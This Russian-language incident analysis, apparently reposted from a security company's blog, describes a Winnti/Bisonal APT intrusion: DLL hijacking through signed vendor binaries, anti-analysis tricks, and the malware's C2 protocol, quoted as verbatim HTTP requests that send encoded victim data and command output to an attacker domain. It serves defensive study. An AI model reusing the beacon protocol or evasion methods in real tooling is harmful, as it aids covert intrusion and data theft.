apt-группировка
Техники, тактики и процедуры группировки Winnti
Если сотрудник компании по неосторожности откроет фишинговое письмо, то злоумышленник может получить доступ к важной информации. Достаточно одного клика мышью, чтобы запустить процессы на компьютере сотрудника и дать злоумышленникам доступ к инфраструктуре компании. В этом случае, даже антивирусы не смогут предотвратить взлом. Эксперт по информационной безопасности, работающий в компании "Информзащита", столкнулся с такой атакой группировки Winnti на одного из их заказчиков. Эта группировка занимается кражей данных у предприятий военно-промышленного комплекса, правительственных организаций и разработчиков программного обеспечения.
Введение
В ноябре 2020 года эксперты компании «Информзащита», работающие на мониторинге SOC и анализе событий в инфраструктуре заказчика, обнаружили подозрительную активность, которая в дальнейшем была классифицирована как APT (advanced persistent threat). Злоумышленники использовали как автоматизированные средства разведки и проникновения, так и ручной режим для управления вредоносным программным обеспечением, установленным в системе. Результатом атаки было не только проникновение в инфраструктуру, но и сбор информации со скомпрометированных хостов и ее передача за пределы организации. Злоумышленники использовали различные инструменты
В состав используемого злоумышленниками инструментария входили:
  • средства для сбора информации;
  • средства удаленного управления;
  • многофункциональный бэкдор семейства Bisonal, утилиты для сканирования сети на наличие уязвимости CVE-2017-0144 (MS17-010);
  • утилиты из набора Impacket, программы для перенаправления сетевого трафика и извлечения паролей из памяти;
  • вредоносные динамические библиотеки для инъекции вредоносного кода;
  • легитимные процессы.
Согласно отчетам производителей средств защиты информации, обнаруженные индикаторы компрометации и используемое вредоносное ПО предположительно относятся к семейству Bisonal, связанному с APT-группой Winnti. Эта группа, по предположению, базируется в Китае и нацелена на кражу критических данных через шпионаж. Жертвами атак Winnti, как правило, становятся организации, относящиеся к военно-промышленному комплексу, аэрокосмической отрасли, правительственные организации и разработчики ПО.

Анализ функциональности вредоносного ПО

В процессе исследования инцидента было обнаружено несколько примеров вредоносного ПО. Один из образцов, названный MpUxSCuiL.exe, маскировался под модуль Windows Defender. При анализе функциональности этого вредоносного ПО была установлена схожесть с семейством Bisonal. Анализировалось поведение образца, методы обфускации кода и защита от отладки. Этот образец служил для сбора информации о системе, на которой он был установлен, а также для выполнения скрытых команд от C2. Функция main образца содержит множество переходов, а количество блоков составляет несколько тысяч для усложнения анализа. Чтобы загрузить необходимые библиотеки, используется явное связывание, а имена библиотек хранятся в зашифрованном виде и расшифровываются перед использованием.

Применение DLL Hijacking
Злоумышленники использовали технику Dll Hijacking для закрепления своей вредоносной программы в системе. Эта техника заключается в использовании уязвимого для Dll Hijacking легитимного файла, часто с цифровой подписью, который прописывается в автозапуск системы. В этом случае злоумышленники помещают свою вредоносную нагрузку в DLL-библиотеку, которая будет загружена при запуске легитимного исполняемого файла.
В ходе расследования инцидента было обнаружено несколько модулей, которые закреплялись подобным образом. Для реализации Dll Hijacking злоумышленники использовали легитимные файлы с цифровой подписью:
NvContainer64.exe (NVIDIA)- 1e3c33ff0386326773b6c58d46cbf53b1b2bef91

frwl_svc.exe (Dr.Web) - 6f86e203d20abb0499bbf8468095d99ffb20f6e2

LBTWiz.exe (Logitech) – 431e5aa8ab8616dbca14854182a6c0a73946abdc

bdreinit.exe (BitDefender) - f9a1e292bf6cdf7bb34c293dc06d8754549fe1a4

Анализ библиотек с полезными нагрузками в настоящий момент не завершен.
version.dll - e370e8d883ea347b6f3475522adc69bc8725d127
wtsapi32.dll - 3bb315d0a86cf6a08eb32ea5a59263fcb8a649af
LBTServ.dll - 387c404930815ac5711e52185492b6425b1de05a
dbghelp.dll - a543f2abe6e46aefde4aae0ccc82ad3c26e8c391

Conhost.exe
Та же группировка использовала другой экземпляр вредоносного ПО, который был обнаружен на нескольких хостах. В процессе анализа этого образца была обнаружена следующая функциональность:
  1. передача списка процессов на C2;
  2. завершение указанного оператором процесса;
  3. загрузка с С2 и запуск исполняемого файла;
  4. запуск командной оболочки для интерактивной работы оператора.
Функция main образца содержит более тысячи блоков с избыточным ветвлением и с целью усложнения логики. Однако после более детального изучения было установлено, что большинство блоков в функции main не являются необходимыми и не выполняются при запуске образца. Кроме того, в функции main присутствуют множество статических строк, которые также не используются при выполнении основной логики и служат только для усложнения анализа.

Авторы семпла добавили специальный механизм задержки выполнения программы для усложнения анализа. Этот механизм включает в себя счетчик, который сравнивает значения хешей MD5 от целых чисел вместо целочисленных значений. Числа представлены в кодировке ANSI. Значение счетчика завершается хешем от последовательности байт 0x313038333736363439 (число 108376649). Такие вычисления создают большую нагрузку на процессор, что приводит к его почти полной загрузке на несколько минут. Это, вероятно, заставит некоторые антивирусные средства и песочницы прервать проверку файла.
Далее семпл проверяет свое название с помощью функции GetModuleFileNameW и прекращает свою работу, если название модуля не conhost.exe или если в названии отсутствует расширение .tmp. Затем он расшифровывает другой набор строк с использованием XOR в качестве шифрования, и загружает библиотеку wininet.dll с помощью функции LoadLibrary. Получив адрес библиотеки в памяти с помощью функции GetProcAddress, семпл вычисляет смещения до экспортируемых функций. В приведенном наборе строк содержатся HTTP-заголовки, домен сервера управления, эндпоинты сервера управления, название библиотеки wininet.dll и ее экспортируемые функции.


Далее вредонос получает данные о системе:
  • используемый прокси-сервер;
  • раскладка клавиатуры;
  • время с момента загрузки системы;
  • имя компьютера;
  • учетная запись, из-под которой запущен семпл;
  • локальный IP-адрес хоста.
Для установления связи с сервером управления образец периодически отправляет приветственные сообщения (Hello) на сервер через защищенное соединение HTTPS. В качестве дополнительной информации, в поле Cookie отправляется закодированная в Base32 информация о зараженной системе.

GET /ru/order/index.php?strPageID=2150213824 HTTP/1.1
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=AHAKQKMAWUAQAAH75IMAIAAAAAAAMAAAAAAQAAAAAEHQAV
2JJYWUKRSVIZIDSTSKJNJFEBAAOVZWK4QPABLUSTRNIVDFKRSQHFHEUS2SKIJAAMJSG4XDALRQFYYTUOBQHAYDUOSPNYDAA3TFO44TCMI=
Host: microsoft.offices-update.com

Если сервер возвращает {"status":"success"} в ответ на Hello-сообщение, то образец запускает новый поток, который обращается к другому эндпоинту на сервере управления: https://{Domain}/ru/news/index.php. В параметре newsID передается дата и время (только минуты и секунды). Этот эндпоинт используется для передачи команд вредоносу.

GET /ru/news/index.php?strPageID=2150213824&newsID=2021-04-12-2658 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Обращение к серверу управления может вернуть одну из нескольких команд, которые образец может выполнить. Варианты команд включают загрузку и запуск исполняемого файла, запуск интерактивной командной оболочки, передачу команды в экземпляр командной строки через pipe, получение списка процессов и завершение указанного процесса. Вывод каждой из этих команд передается на специальный эндпоинт-приемник в виде POST-запроса, при этом данные шифруются тем же XOR-ключом, что и строки в теле трояна. Если сервер возвращает {"status":"success"} в ответ на Hello-сообщение, образец создает новый поток и обращается к другому эндпоинту сервера управления для передачи выполненных команд.
POST /xhome.native.page/datareader.php?sid=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
Referer: /siteFiles/index.php?strPageID=2150213824
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Content-Length: 21
Cache-Control: no-cache
<encoded_data>
Если команда в ответе отсутствовала, троян засыпает на случайное количество миллисекунд.
GET /siteFiles/index.php?strPageID=2150213824 HTTP/1.1
Host: microsoft.offices-update.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7


Kill Chain

Из анализа, проведенного в предыдущей главе, мы можем предположить, что первичный доступ к системе был получен с помощью фишингового документа. Затем на компьютере сотрудника была запущена вредоносная нагрузка, которая устанавливала связь с внешним сервером и скачивала исполняемый код. На каждом хосте злоумышленники ручным способом собирали уникальные вредоносные нагрузки и использовали технику Hijack Execution Flow: DLL Search Order Hijacking для закрепления их в системе. Также были применены классические техники, такие как модификация веток в реестре, запуск вредоносных служб и создание задач в планировщике заданий.
Затем злоумышленники проводили разведку с использованием стандартных системных утилит и специального ПО. Для перемещения по инфраструктуре и удаленного выполнения команд использовалась утилита wmiexec.exe из пакета Impacket. Доступ к учетным записям был получен с помощью обращения к области памяти процесса lsass.exe.
Для вывода данных во внешнюю сеть злоумышленники использовали свою собственную сборку архиватора.
Существуют различные подходы к описанию действий злоумышленников. В данной статье мы будем использовать TTPs-подход на основе матрицы ATT&CK, базы знаний, основанной на анализе реальных атак.
Использование такой системы категоризации поведения злоумышленников позволяет не только предсказать дальнейшие шаги, но и выявить конкретную группировку в соответствии с используемыми методами.


Initial Access (TA0001) / Execution (TA0002) / Prive

Вероятно, инициальный доступ к инфраструктуре был получен с помощью фишинговой атаки, где один из сотрудников организации открыл вложение и запустил вредоносную нагрузку на своем компьютере. По результатам анализа остаточных следов, было обнаружено, что нагрузка подключилась к внешнему серверу и скачала исполняемый код. Интересно, что данная вредоносная нагрузка была незаметна для распространенных антивирусных программ как на клиентском устройстве, так и на почтовом сервере.

Источники:
https://habr.com/ru/company/lanit/blog/570516/
Contacts
Авторы: Шикляев Роман и Нуриев Артур
Изображения подготовлены с помощью нейросети Kandinsky 2.2 от Сбера:
https://www.sberbank.com/promo/kandinsky/
Made on
Tilda